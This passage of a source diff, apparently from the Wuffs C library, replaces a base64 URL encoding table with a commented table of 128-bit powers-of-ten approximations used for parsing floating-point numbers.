1, 3, 0, 8, 0, 8, 4, 7, 2, 6, ++ 3, 3, 3, 6, 1, 8, 1, 6, 4, 0, 6, 2, 5, 1, 1, 1, 0, 2, 2, 3, 0, 2, 4, 6, 2, ++ 5, 1, 5, 6, 5, 4, 0, 4, 2, 3, 6, 3, 1, 6, 6, 8, 0, 9, 0, 8, 2, 0, 3, 1, 2, ++ 5, 5, 5, 5, 1, 1, 1, 5, 1, 2, 3, 1, 2, 5, 7, 8, 2, 7, 0, 2, 1, 1, 8, 1, 5, ++ 8, 3, 4, 0, 4, 5, 4, 1, 0, 1, 5, 6, 2, 5, 2, 7, 7, 5, 5, 5, 7, 5, 6, 1, 5, ++ 6, 2, 8, 9, 1, 3, 5, 1, 0, 5, 9, 0, 7, 9, 1, 7, 0, 2, 2, 7, 0, 5, 0, 7, 8, ++ 1, 2, 5, 1, 3, 8, 7, 7, 7, 8, 7, 8, 0, 7, 8, 1, 4, 4, 5, 6, 7, 5, 5, 2, 9, ++ 5, 3, 9, 5, 8, 5, 1, 1, 3, 5, 2, 5, 3, 9, 0, 6, 2, 5, 6, 9, 3, 8, 8, 9, 3, ++ 9, 0, 3, 9, 0, 7, 2, 2, 8, 3, 7, 7, 6, 4, 7, 6, 9, 7, 9, 2, 5, 5, 6, 7, 6, ++ 2, 6, 9, 5, 3, 1, 2, 5, 3, 4, 6, 9, 4, 4, 6, 9, 5, 1, 9, 5, 3, 6, 1, 4, 1, ++ 8, 8, 8, 2, 3, 8, 4, 8, 9, 6, 2, 7, 8, 3, 8, 1, 3, 4, 7, 6, 5, 6, 2, 5, 1, ++ 7, 3, 4, 7, 2, 3, 4, 7, 5, 9, 7, 6, 8, 0, 7, 0, 9, 4, 4, 1, 1, 9, 2, 4, 4, ++ 8, 1, 3, 9, 1, 9, 0, 6, 7, 3, 8, 2, 8, 1, 2, 5, 8, 6, 7, 3, 6, 1, 7, 3, 7, ++ 9, 8, 8, 4, 0, 3, 5, 4, 7, 2, 0, 5, 9, 6, 2, 2, 4, 0, 6, 9, 5, 9, 5, 3, 3, ++ 6, 9, 1, 4, 0, 6, 2, 5, + }; + +-static const uint8_t wuffs_base__base_64__encode_url[64] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. +- 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. +- 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. +- 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. +- 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. +- 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. +- 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2D, 0x5F, // 0x38 ..= 0x3F. ++// -------- ++ ++// wuffs_private_impl__powers_of_10 contains truncated approximations to the ++// powers of 10, ranging from 1e-307 to 1e+288 inclusive, as 596 pairs of ++// uint64_t values (a 128-bit mantissa). ++// ++// There's also an implicit third column (implied by a linear formula involving ++// the base-10 exponent) that is the base-2 exponent, biased by a magic ++// constant. That constant (1214 or 0x04BE) equals 1023 + 191. 1023 is the bias ++// for IEEE 754 double-precision floating point. 191 is ((3 * 64) - 1) and ++// wuffs_private_impl__parse_number_f64_eisel_lemire works with ++// multiples-of-64-bit mantissas. ++// ++// For example, the third row holds the approximation to 1e-305: ++// 0xE0B62E29_29ABA83C_331ACDAB_FE94DE87 * (2 ** (0x0049 - 0x04BE)) ++// ++// Similarly, 1e+4 is approximated by: ++// 0x9C400000_00000000_00000000_00000000 * (2 ** (0x044C - 0x04BE)) ++// ++// Similarly, 1e+68 is approximated by: ++// 0xED63A231_D4C4FB27_4CA7AAA8_63EE4BDD * (2 ** (0x0520 - 0x04BE)) ++// ++// This table was generated by by script/print-mpb-powers-of-10.go ++static const uint64_t wuffs_private_impl__powers_of_10[596][2] = { ++ {0xA5D3B6D479F8E056, 0x8FD0C16206306BAB}, // 1e-307 ++ {0x8F48A4899877186C, 0xB3C4F1BA87BC8696}, // 1e-306 ++ {0x331ACDABFE94DE87, 0xE0B62E2929ABA83C}, // 1e-305 ++ {0x9FF0C08B7F1D0B14, 0x8C71DCD9BA0B4925}, // 1e-304 ++ {0x07ECF0AE5EE44DD9, 0xAF8E5410288E1B6F}, // 1e-303 ++ {0xC9E82CD9F69D6150, 0xDB71E91432B1A24A}, // 1e-302 ++ {0xBE311C083A225CD2, 0x892731AC9FAF056E}, // 1e-301 ++ {0x6DBD630A48AAF406, 0xAB70FE17C79AC6CA}, // 1e-300 ++ {0x092CBBCCDAD5B108, 0xD64D3D9DB981787D}, // 1e-299 ++ {0x25BBF56008C58EA5, 0x85F0468293F0EB4E}, // 1e-298 ++ {0xAF2AF2B80AF6F24E, 0xA76C582338ED2621}, // 1e-297 ++ {0x1AF5AF660DB4AEE1, 0xD1476E2C07286FAA}, // 1e-296 ++ {0x50D98D9FC890ED4D, 0x82CCA4DB847945CA}, // 1e-295 ++ {0xE50FF107BAB528A0, 0xA37FCE126597973C}, // 1e-294 ++ {0x1E53ED49A96272C8, 0xCC5FC196FEFD7D0C}, // 1e-293 ++ {0x25E8E89C13BB0F7A, 0xFF77B1FCBEBCDC4F}, // 1e-292 ++ {0x77B191618C54E9AC, 0x9FAACF3DF73609B1}, // 1e-291 ++ {0xD59DF5B9EF6A2417, 0xC795830D75038C1D}, // 1e-290 ++ {0x4B0573286B44AD1D, 0xF97AE3D0D2446F25}, // 1e-289 ++ {0x4EE367F9430AEC32, 0x9BECCE62836AC577}, // 1e-288 ++ {0x229C41F793CDA73F, 0xC2E801FB244576D5}, // 1e-287 ++ {0x6B43527578C1110F, 0xF3A20279ED56D48A}, // 1e-286 ++ {0x830A13896B78AAA9, 0x9845418C345644D6}, // 1e-285 ++ {0x23CC986BC656D553, 0xBE5691EF416BD60C}, // 1e-284 ++ {0x2CBFBE86B7EC8AA8, 0xEDEC366B11C6CB8F}, // 1e-283 ++ {0x7BF7D71432F3D6A9, 0x94B3A202EB1C3F39}, // 1e-282 ++ {0xDAF5CCD93FB0CC53, 0xB9E08A83A5E34F07}, // 1e-281 ++ {0xD1B3400F8F9CFF68, 0xE858AD248F5C22C9}, // 1e-280 ++ {0x23100809B9C21FA1, 0x91376C36D99995BE}, // 1e-279 ++ {0xABD40A0C2832A78A, 0xB58547448FFFFB2D}, // 1e-278 ++ {0x16C90C8F323F516C, 0xE2E69915B3FFF9F9}, // 1e-277 ++ {0xAE3DA7D97F6792E3, 0x8DD01FAD907FFC3B}, // 1e-276 ++ {0x99CD11CFDF41779C, 0xB1442798F49FFB4A}, // 1e-275 ++ {0x40405643D711D583, 0xDD95317F31C7FA1D}, // 1e-274 ++ {0x482835EA666B2572, 0x8A7D3EEF7F1CFC52}, // 1e-273 ++ {0xDA3243650005EECF, 0xAD1C8EAB5EE43B66}, // 1e-272 ++ {0x90BED43E40076A82, 0xD863B256369D4A40}, // 1e-271 ++ {0x5A7744A6E804A291, 0x873E4F75E2224E68}, // 1e-270 ++ {0x711515D0A205CB36, 0xA90DE3535AAAE202}, // 1e-269 ++ {0x0D5A5B44CA873E03, 0xD3515C2831559A83}, // 1e-268 ++ {0xE858790AFE9486C2, 0x8412D9991ED58091}, // 1e-267 ++ {0x626E974DBE39A872, 0xA5178FFF668AE0B6}, // 1e-266 ++ {0xFB0A3D212DC8128F, 0xCE5D73FF402D98E3}, // 1e-265 ++ {0x7CE66634BC9D0B99, 0x80FA687F881C7F8E}, // 1e-264 ++ {0x1C1FFFC1EBC44E80, 0xA139029F6A239F72}, // 1e-263 ++ {0xA327FFB266B56220, 0xC987434744AC874E}, // 1e-262 ++ {0x4BF1FF9F0062BAA8, 0xFBE9141915D7A922}, // 1e-261 ++ {0x6F773FC3603DB4A9, 0x9D71AC8FADA6C9B5}, // 1e-260 ++ {0xCB550FB4384D21D3, 0xC4CE17B399107C22}, // 1e-259 ++ {0x7E2A53A146606A48, 0xF6019DA07F549B2B}, // 1e-258 ++ {0x2EDA7444CBFC426D, 0x99C102844F94E0FB}, // 1e-257 ++ {0xFA911155FEFB5308, 0xC0314325637A1939}, // 1e-256 ++ {0x793555AB7EBA27CA, 0xF03D93EEBC589F88}, // 1e-255 ++ {0x4BC1558B2F3458DE, 0x96267C7535B763B5}, // 1e-254 ++ {0x9EB1AAEDFB016F16, 0xBBB01B9283253CA2}, // 1e-253 ++ {0x465E15A979C1CADC, 0xEA9C227723EE8BCB}, // 1e-252 ++ {0x0BFACD89EC191EC9, 0x92A1958A7675175F}, // 1e-251 ++ {0xCEF980EC671F667B, 0xB749FAED14125D36}, // 1e-250 ++ {0x82B7E12780E7401A, 0xE51C79A85916F484}, // 1e-249 ++ {0xD1B2ECB8B0908810, 0x8F31CC0937AE58D2}, // 1e-248 ++ {0x861FA7E6DCB4AA15, 0xB2FE3F0B8599EF07}, // 1e-247 ++ {0x67A791E093E1D49A, 0xDFBDCECE67006AC9}, // 1e-246 ++ {0xE0C8BB2C5C6D24E0, 0x8BD6A141006042BD}, // 1e-245 ++ {0x58FAE9F773886E18, 0xAECC49914078536D}, // 1e-244 ++ {0xAF39A475506A899E, 0xDA7F5BF590966848}, // 1e-243 ++ {0x6D8406C952429603, 0x888F99797A5E012D}, // 1e-242 ++ {0xC8E5087BA6D33B83, 0xAAB37FD7D8F58178}, // 1e-241 ++ {0xFB1E4A9A90880A64, 0xD5605FCDCF32E1D6}, // 1e-240 ++ {0x5CF2EEA09A55067F, 0x855C3BE0A17FCD26}, // 1e-239 ++ {0xF42FAA48C0EA481E, 0xA6B34AD8C9DFC06F}, // 1e-238 ++ {0xF13B94DAF124DA26, 0xD0601D8EFC57B08B}, // 1e-237 ++ {0x76C53D08D6B70858, 0x823C12795DB6CE57}, // 1e-236 ++ {0x54768C4B0C64CA6E, 0xA2CB1717B52481ED}, // 1e-235 ++ {0xA9942F5DCF7DFD09, 0xCB7DDCDDA26DA268}, // 1e-234 ++ {0xD3F93B35435D7C4C, 0xFE5D54150B090B02}, // 1e-233 ++ {0xC47BC5014A1A6DAF, 0x9EFA548D26E5A6E1}, // 1e-232 ++ {0x359AB6419CA1091B, 0xC6B8E9B0709F109A}, // 1e-231 ++ {0xC30163D203C94B62, 0xF867241C8CC6D4C0}, // 1e-230 ++ {0x79E0DE63425DCF1D, 0x9B407691D7FC44F8}, // 1e-229 ++ {0x985915FC12F542E4, 0xC21094364DFB5636}, // 1e-228 ++ {0x3E6F5B7B17B2939D, 0xF294B943E17A2BC4}, // 1e-227 ++ {0xA705992CEECF9C42, 0x979CF3CA6CEC5B5A}, // 1e-226 ++ {0x50C6FF782A838353, 0xBD8430BD08277231}, // 1e-225 ++ {0xA4F8BF5635246428, 0xECE53CEC4A314EBD}, // 1e-224 ++ {0x871B7795E136BE99, 0x940F4613AE5ED136}, // 1e-223 ++ {0x28E2557B59846E3F, 0xB913179899F68584}, // 1e-222 ++ {0x331AEADA2FE589CF, 0xE757DD7EC07426E5}, // 1e-221 ++ {0x3FF0D2C85DEF7621, 0x9096EA6F3848984F}, // 1e-220 ++ {0x0FED077A756B53A9, 0xB4BCA50B065ABE63}, // 1e-219 ++ {0xD3E8495912C62894, 0xE1EBCE4DC7F16DFB}, // 1e-218 ++ {0x64712DD7ABBBD95C, 0x8D3360F09CF6E4BD}, // 1e-217 ++ {0xBD8D794D96AACFB3, 0xB080392CC4349DEC}, // 1e-216 ++ {0xECF0D7A0FC5583A0, 0xDCA04777F541C567}, // 1e-215 ++ {0xF41686C49DB57244, 0x89E42CAAF9491B60}, // 1e-214 ++ {0x311C2875C522CED5, 0xAC5D37D5B79B6239}, // 1e-213 ++ {0x7D633293366B828B, 0xD77485CB25823AC7}, // 1e-212 ++ {0xAE5DFF9C02033197, 0x86A8D39EF77164BC}, // 1e-211 ++ {0xD9F57F830283FDFC, 0xA8530886B54DBDEB}, // 1e-210 ++ {0xD072DF63C324FD7B, 0xD267CAA862A12D66}, // 1e-209 ++ {0x4247CB9E59F71E6D, 0x8380DEA93DA4BC60}, // 1e-208 ++ {0x52D9BE85F074E608, 0xA46116538D0DEB78}, // 1e-207 ++ {0x67902E276C921F8B, 0xCD795BE870516656}, // 1e-206 ++ {0x00BA1CD8A3DB53B6, 0x806BD9714632DFF6}, // 1e-205 ++ {0x80E8A40ECCD228A4, 0xA086CFCD97BF97F3}, // 1e-204 ++ {0x6122CD128006B2CD, 0xC8A883C0FDAF7DF0}, // 1e-203 ++ {0x796B805720085F81, 0xFAD2A4B13D1B5D6C}, // 1e-202 ++ {0xCBE3303674053BB0, 0x9CC3A6EEC6311A63}, // 1e-201 ++ {0xBEDBFC4411068A9C, 0xC3F490AA77BD60FC}, // 1e-200 ++ {0xEE92FB5515482D44, 0xF4F1B4D515ACB93B}, // 1e-199 ++ {0x751BDD152D4D1C4A, 0x991711052D8BF3C5}, // 1e-198 ++ {0xD262D45A78A0635D, 0xBF5CD54678EEF0B6}, // 1e-197 ++ {0x86FB897116C87C34, 0xEF340A98172AACE4}, // 1e-196 ++ {0xD45D35E6AE3D4DA0, 0x9580869F0E7AAC0E}, // 1e-195 ++ {0x8974836059CCA109, 0xBAE0A846D2195712}, // 1e-194 ++ {0x2BD1A438703FC94B, 0xE998D258869FACD7}, // 1e-193 ++ {0x7B6306A34627DDCF, 0x91FF83775423CC06}, // 1e-192 ++ {0x1A3BC84C17B1D542, 0xB67F6455292CBF08}, // 1e-191 ++ {0x20CABA5F1D9E4A93, 0xE41F3D6A7377EECA}, // 1e-190 ++ {0x547EB47B7282EE9C, 0x8E938662882AF53E}, // 1e-189 ++ {0xE99E619A4F23AA43, 0xB23867FB2A35B28D}, // 1e-188 ++ {0x6405FA00E2EC94D4, 0xDEC681F9F4C31F31}, // 1e-187 ++ {0xDE83BC408DD3DD04, 0x8B3C113C38F9F37E}, // 1e-186 ++ {0x9624AB50B148D445, 0xAE0B158B4738705E}, // 1e-185 ++ {0x3BADD624DD9B0957, 0xD98DDAEE19068C76}, // 1e-184 ++ {0xE54CA5D70A80E5D6, 0x87F8A8D4CFA417C9}, // 1e-183 ++ {0x5E9FCF4CCD211F4C, 0xA9F6D30A038D1DBC}, // 1e-182 ++ {0x7647C3200069671F, 0xD47487CC8470652B}, // 1e-181 ++ {0x29ECD9F40041E073, 0x84C8D4DFD2C63F3B}, // 1e-180 ++ {0xF468107100525890, 0xA5FB0A17C777CF09}, // 1e-179 ++ {0x7182148D4066EEB4, 0xCF79CC9DB955C2CC}, // 1e-178 ++ {0xC6F14CD848405530, 0x81AC1FE293D599BF}, // 1e-177 ++ {0xB8ADA00E5A506A7C, 0xA21727DB38CB002F}, // 1e-176 ++ {0xA6D90811F0E4851C, 0xCA9CF1D206FDC03B}, // 1e-175 ++ {0x908F4A166D1DA663, 0xFD442E4688BD304A}, // 1e-174 ++ {0x9A598E4E043287FE, 0x9E4A9CEC15763E2E}, // 1e-173 ++ {0x40EFF1E1853F29FD, 0xC5DD44271AD3CDBA}, // 1e-172 ++ {0xD12BEE59E68EF47C, 0xF7549530E188C128}, // 1e-171 ++ {0x82BB74F8301958CE, 0x9A94DD3E8CF578B9}, // 1e-170 ++ {0xE36A52363C1FAF01, 0xC13A148E3032D6E7}, // 1e-169 ++ {0xDC44E6C3CB279AC1, 0xF18899B1BC3F8CA1}, // 1e-168 ++ {0x29AB103A5EF8C0B9, 0x96F5600F15A7B7E5}, // 1e-167 ++ {0x7415D448F6B6F0E7, 0xBCB2B812DB11A5DE}, // 1e-166 ++ {0x111B495B3464AD21, 0xEBDF661791D60F56}, // 1e-165 ++ {0xCAB10DD900BEEC34, 0x936B9FCEBB25C995}, // 1e-164 ++ {0x3D5D514F40EEA742, 0xB84687C269EF3BFB}, // 1e-163 ++ {0x0CB4A5A3112A5112, 0xE65829B3046B0AFA}, // 1e-162 ++ {0x47F0E785EABA72AB, 0x8FF71A0FE2C2E6DC}, // 1e-161 ++ {0x59ED216765690F56, 0xB3F4E093DB73A093}, // 1e-160 ++ {0x306869C13EC3532C, 0xE0F218B8D25088B8}, // 1e-159 ++ {0x1E414218C73A13FB, 0x8C974F7383725573}, // 1e-158 ++ {0xE5D1929EF90898FA, 0xAFBD2350644EEACF}, // 1e-157 ++ {0xDF45F746B74ABF39, 0xDBAC6C247D62A583}, // 1e-156 ++ {0x6B8BBA8C328EB783, 0x894BC396CE5DA772}, // 1e-155 ++ {0x066EA92F3F326564, 0xAB9EB47C81F5114F}, // 1e-154 ++ {0xC80A537B0EFEFEBD, 0xD686619BA27255A2}, // 1e-153 ++ {0xBD06742CE95F5F36, 0x8613FD0145877585}, // 1e-152 ++ {0x2C48113823B73704, 0xA798FC4196E952E7}, // 1e-151 ++ {0xF75A15862CA504C5, 0xD17F3B51FCA3A7A0}, // 1e-150 ++ {0x9A984D73DBE722FB, 0x82EF85133DE648C4}, // 1e-149 ++ {0xC13E60D0D2E0EBBA, 0xA3AB66580D5FDAF5}, // 1e-148 ++ {0x318DF905079926A8, 0xCC963FEE10B7D1B3}, // 1e-147 ++ {0xFDF17746497F7052, 0xFFBBCFE994E5C61F}, // 1e-146 ++ {0xFEB6EA8BEDEFA633, 0x9FD561F1FD0F9BD3}, // 1e-145 ++ {0xFE64A52EE96B8FC0, 0xC7CABA6E7C5382C8}, // 1e-144 ++ {0x3DFDCE7AA3C673B0, 0xF9BD690A1B68637B}, // 1e-143 ++ {0x06BEA10CA65C084E, 0x9C1661A651213E2D}, // 1e-142 ++ {0x486E494FCFF30A62, 0xC31BFA0FE5698DB8}, // 1e-141 ++ {0x5A89DBA3C3EFCCFA, 0xF3E2F893DEC3F126}, // 1e-140 ++ {0xF89629465A75E01C, 0x986DDB5C6B3A76B7}, // 1e-139 ++ {0xF6BBB397F1135823, 0xBE89523386091465}, // 1e-138 ++ {0x746AA07DED582E2C, 0xEE2BA6C0678B597F}, // 1e-137 ++ {0xA8C2A44EB4571CDC, 0x94DB483840B717EF}, // 1e-136 ++ {0x92F34D62616CE413, 0xBA121A4650E4DDEB}, // 1e-135 ++ {0x77B020BAF9C81D17, 0xE896A0D7E51E1566}, // 1e-134 ++ {0x0ACE1474DC1D122E, 0x915E2486EF32CD60}, // 1e-133 ++ {0x0D819992132456BA, 0xB5B5ADA8AAFF80B8}, // 1e-132 ++ {0x10E1FFF697ED6C69, 0xE3231912D5BF60E6}, // 1e-131 ++ {0xCA8D3FFA1EF463C1, 0x8DF5EFABC5979C8F}, // 1e-130 ++ {0xBD308FF8A6B17CB2, 0xB1736B96B6FD83B3}, // 1e-129 ++ {0xAC7CB3F6D05DDBDE, 0xDDD0467C64BCE4A0}, // 1e-128 ++ {0x6BCDF07A423AA96B, 0x8AA22C0DBEF60EE4}, // 1e-127 ++ {0x86C16C98D2C953C6, 0xAD4AB7112EB3929D}, // 1e-126 ++ {0xE871C7BF077BA8B7, 0xD89D64D57A607744}, // 1e-125 ++ {0x11471CD764AD4972, 0x87625F056C7C4A8B}, // 1e-124 ++ {0xD598E40D3DD89BCF, 0xA93AF6C6C79B5D2D}, // 1e-123 ++ {0x4AFF1D108D4EC2C3, 0xD389B47879823479}, // 1e-122 ++ {0xCEDF722A585139BA, 0x843610CB4BF160CB}, // 1e-121 ++ {0xC2974EB4EE658828, 0xA54394FE1EEDB8FE}, // 1e-120 ++ {0x733D226229FEEA32, 0xCE947A3DA6A9273E}, // 1e-119 ++ {0x0806357D5A3F525F, 0x811CCC668829B887}, // 1e-118 ++ {0xCA07C2DCB0CF26F7, 0xA163FF802A3426A8}, // 1e-117 ++ {0xFC89B393DD02F0B5, 0xC9BCFF6034C13052}, // 1e-116 ++ {0xBBAC2078D443ACE2, 0xFC2C3F3841F17C67}, // 1e-115 ++ {0xD54B944B84AA4C0D, 0x9D9BA7832936EDC0}, // 1e-114 ++ {0x0A9E795E65D4DF11, 0xC5029163F384A931}, // 1e-113 ++ {0x4D4617B5FF4A16D5, 0xF64335BCF065D37D}, // 1e-112 ++ {0x504BCED1BF8E4E45, 0x99EA0196163FA42E}, // 1e-111 ++ {0xE45EC2862F71E1D6, 0xC06481FB9BCF8D39}, // 1e-110 ++ {0x5D767327BB4E5A4C, 0xF07DA27A82C37088}, // 1e-109 ++ {0x3A6A07F8D510F86F, 0x964E858C91BA2655}, // 1e-108 ++ {0x890489F70A55368B, 0xBBE226EFB628AFEA}, // 1e-107 ++ {0x2B45AC74CCEA842E, 0xEADAB0ABA3B2DBE5}, // 1e-106 ++ {0x3B0B8BC90012929D, 0x92C8AE6B464FC96F}, // 1e-105 ++ {0x09CE6EBB40173744, 0xB77ADA0617E3BBCB}, // 1e-104 ++ {0xCC420A6A101D0515, 0xE55990879DDCAABD}, // 1e-103 ++ {0x9FA946824A12232D, 0x8F57FA54C2A9EAB6}, // 1e-102 ++ {0x47939822DC96ABF9, 0xB32DF8E9F3546564}, // 1e-101 ++ {0x59787E2B93BC56F7, 0xDFF9772470297EBD}, // 1e-100 ++ {0x57EB4EDB3C55B65A, 0x8BFBEA76C619EF36}, // 1e-99 ++ {0xEDE622920B6B23F1, 0xAEFAE51477A06B03}, // 1e-98 ++ {0xE95FAB368E45ECED, 0xDAB99E59958885C4}, // 1e-97 ++ {0x11DBCB0218EBB414, 0x88B402F7FD75539B}, // 1e-96 ++ {0xD652BDC29F26A119, 0xAAE103B5FCD2A881}, // 1e-95 ++ {0x4BE76D3346F0495F, 0xD59944A37C0752A2}, // 1e-94 ++ {0x6F70A4400C562DDB, 0x857FCAE62D8493A5}, // 1e-93 ++ {0xCB4CCD500F6BB952, 0xA6DFBD9FB8E5B88E}, // 1e-92 ++ {0x7E2000A41346A7A7, 0xD097AD07A71F26B2}, // 1e-91 ++ {0x8ED400668C0C28C8, 0x825ECC24C873782F}, // 1e-90 ++ {0x728900802F0F32FA, 0xA2F67F2DFA90563B}, // 1e-89 ++ {0x4F2B40A03AD2FFB9, 0xCBB41EF979346BCA}, // 1e-88 ++ {0xE2F610C84987BFA8, 0xFEA126B7D78186BC}, // 1e-87 ++ {0x0DD9CA7D2DF4D7C9, 0x9F24B832E6B0F436}, // 1e-86 ++ {0x91503D1C79720DBB, 0xC6EDE63FA05D3143}, // 1e-85 ++ {0x75A44C6397CE912A, 0xF8A95FCF88747D94}, // 1e-84 ++ {0xC986AFBE3EE11ABA, 0x9B69DBE1B548CE7C}, // 1e-83 ++ {0xFBE85BADCE996168, 0xC24452DA229B021B}, // 1e-82 ++ {0xFAE27299423FB9C3, 0xF2D56790AB41C2A2}, // 1e-81 ++ {0xDCCD879FC967D41A, 0x97C560BA6B0919A5}, // 1e-80 ++ {0x5400E987BBC1C920, 0xBDB6B8E905CB600F}, // 1e-79 ++ {0x290123E9AAB23B68, 0xED246723473E3813}, // 1e-78 ++ {0xF9A0B6720AAF6521, 0x9436C0760C86E30B}, // 1e-77 ++ {0xF808E40E8D5B3E69, 0xB94470938FA89BCE}, // 1e-76 ++ {0xB60B1D1230B20E04, 0xE7958CB87392C2C2}, // 1e-75 ++ {0xB1C6F22B5E6F48C2, 0x90BD77F3483BB9B9}, // 1e-74 ++ {0x1E38AEB6360B1AF3, 0xB4ECD5F01A4AA828}, // 1e-73 ++ {0x25C6DA63C38DE1B0, 0xE2280B6C20DD5232}, // 1e-72 ++ {0x579C487E5A38AD0E, 0x8D590723948A535F}, // 1e-71 ++ {0x2D835A9DF0C6D851, 0xB0AF48EC79ACE837}, // 1e-70 ++ {0xF8E431456CF88E65, 0xDCDB1B2798182244}, // 1e-69 ++ {0x1B8E9ECB641B58FF, 0x8A08F0F8BF0F156B}, // 1e-68 ++ {0xE272467E3D222F3F, 0xAC8B2D36EED2DAC5}, // 1e-67 ++ {0x5B0ED81DCC6ABB0F, 0xD7ADF884AA879177}, // 1e-66 ++ {0x98E947129FC2B4E9, 0x86CCBB52EA94BAEA}, // 1e-65 ++ {0x3F2398D747B36224, 0xA87FEA27A539E9A5}, // 1e-64 ++ {0x8EEC7F0D19A03AAD, 0xD29FE4B18E88640E}, // 1e-63 ++ {0x1953CF68300424AC, 0x83A3EEEEF9153E89}, // 1e-62 ++ {0x5FA8C3423C052DD7, 0xA48CEAAAB75A8E2B}, // 1e-61 ++ {0x3792F412CB06794D, 0xCDB02555653131B6}, // 1e-60 ++ {0xE2BBD88BBEE40BD0, 0x808E17555F3EBF11}, // 1e-59 ++ {0x5B6ACEAEAE9D0EC4, 0xA0B19D2AB70E6ED6}, // 1e-58 ++ {0xF245825A5A445275, 0xC8DE047564D20A8B}, // 1e-57 ++ {0xEED6E2F0F0D56712, 0xFB158592BE068D2E}, // 1e-56 ++ {0x55464DD69685606B, 0x9CED737BB6C4183D}, // 1e-55 ++ {0xAA97E14C3C26B886, 0xC428D05AA4751E4C}, // 1e-54 ++ {0xD53DD99F4B3066A8, 0xF53304714D9265DF}, // 1e-53 ++ {0xE546A8038EFE4029, 0x993FE2C6D07B7FAB}, // 1e-52 ++ {0xDE98520472BDD033, 0xBF8FDB78849A5F96}, // 1e-51 ++ {0x963E66858F6D4440, 0xEF73D256A5C0F77C}, // 1e-50 ++ {0xDDE7001379A44AA8, 0x95A8637627989AAD}, // 1e-49 ++ {0x5560C018580D5D52, 0xBB127C53B17EC159}, // 1e-48 ++ {0xAAB8F01E6E10B4A6, 0xE9D71B689DDE71AF}, // 1e-47 ++ {0xCAB3961304CA70E8, 0x9226712162AB070D}, // 1e-46 ++ {0x3D607B97C5FD0D22, 0xB6B00D69BB55C8D1}, // 1e-45 ++ {0x8CB89A7DB77C506A, 0xE45C10C42A2B3B05}, // 1e-44 ++ {0x77F3608E92ADB242, 0x8EB98A7A9A5B04E3}, // 1e-43 ++ {0x55F038B237591ED3, 0xB267ED1940F1C61C}, // 1e-42 ++ {0x6B6C46DEC52F6688, 0xDF01E85F912E37A3}, // 1e-41 ++ {0x2323AC4B3B3DA015, 0x8B61313BBABCE2C6}, // 1e-40 ++ {0xABEC975E0A0D081A, 0xAE397D8AA96C1B77}, // 1e-39 ++ {0x96E7BD358C904A21, 0xD9C7DCED53C72255}, // 1e-38 ++ {0x7E50D64177DA2E54, 0x881CEA14545C7575}, // 1e-37 ++ {0xDDE50BD1D5D0B9E9, 0xAA242499697392D2}, // 1e-36 ++ {0x955E4EC64B44E864, 0xD4AD2DBFC3D07787}, // 1e-35 ++ {0xBD5AF13BEF0B113E, 0x84EC3C97DA624AB4}, // 1e-34 ++ {0xECB1AD8AEACDD58E, 0xA6274BBDD0FADD61}, // 1e-33 ++ {0x67DE18EDA5814AF2, 0xCFB11EAD453994BA}, // 1e-32 ++ {0x80EACF948770CED7, 0x81CEB32C4B43FCF4}, // 1e-31 ++ {0xA1258379A94D028D, 0xA2425FF75E14FC31}, // 1e-30 ++ {0x096EE45813A04330, 0xCAD2F7F5359A3B3E}, // 1e-29 ++ {0x8BCA9D6E188853FC, 0xFD87B5F28300CA0D}, // 1e-28 ++ {0x775EA264CF55347D, 0x9E74D1B791E07E48}, // 1e-27 ++ {0x95364AFE032A819D, 0xC612062576589DDA}, // 1e-26 ++ {0x3A83DDBD83F52204, 0xF79687AED3EEC551}, // 1e-25 ++ {0xC4926A9672793542, 0x9ABE14CD44753B52}, // 1e-24 ++ {0x75B7053C0F178293, 0xC16D9A0095928A27}, // 1e-23 ++ {0x5324C68B12DD6338, 0xF1C90080BAF72CB1}, // 1e-22 ++ {0xD3F6FC16EBCA5E03, 0x971DA05074DA7BEE}, // 1e-21 ++ {0x88F4BB1CA6BCF584, 0xBCE5086492111AEA}, // 1e-20 ++ {0x2B31E9E3D06C32E5, 0xEC1E4A7DB69561A5}, // 1e-19 ++ {0x3AFF322E62439FCF, 0x9392EE8E921D5D07}, // 1e-18 ++ {0x09BEFEB9FAD487C2, 0xB877AA3236A4B449}, // 1e-17 ++ {0x4C2EBE687989A9B3, 0xE69594BEC44DE15B}, // 1e-16 ++ {0x0F9D37014BF60A10, 0x901D7CF73AB0ACD9}, // 1e-15 ++ {0x538484C19EF38C94, 0xB424DC35095CD80F}, // 1e-14 ++ {0x2865A5F206B06FB9, 0xE12E13424BB40E13}, // 1e-13 ++ {0xF93F87B7442E45D3, 0x8CBCCC096F5088CB}, // 1e-12 ++ {0xF78F69A51539D748, 0xAFEBFF0BCB24AAFE}, // 1e-11 ++ {0xB573440E5A884D1B, 0xDBE6FECEBDEDD5BE}, // 1e-10 ++ {0x31680A88F8953030, 0x89705F4136B4A597}, // 1e-9 ++ {0xFDC20D2B36BA7C3D, 0xABCC77118461CEFC}, // 1e-8 ++ {0x3D32907604691B4C, 0xD6BF94D5E57A42BC}, // 1e-7 ++ {0xA63F9A49C2C1B10F, 0x8637BD05AF6C69B5}, // 1e-6 ++ {0x0FCF80DC33721D53, 0xA7C5AC471B478423}, // 1e-5 ++ {0xD3C36113404EA4A8, 0xD1B71758E219652B}, // 1e-4 ++ {0x645A1CAC083126E9, 0x83126E978D4FDF3B}, // 1e-3 ++ {0x3D70A3D70A3D70A3, 0xA3D70A3D70A3D70A}, // 1e-2 ++ {0xCCCCCCCCCCCCCCCC, 0xCCCCCCCCCCCCCCCC}, // 1e-1 ++ {0x0000000000000000, 0x8000000000000000}, // 1e0 ++ {0x0000000000000000, 0xA000000000000000}, // 1e1 ++ {0x0000000000000000, 0xC800000000000000}, // 1e2 ++ {0x0000000000000000, 0xFA00000000000000}, // 1e3 ++ {0x0000000000000000, 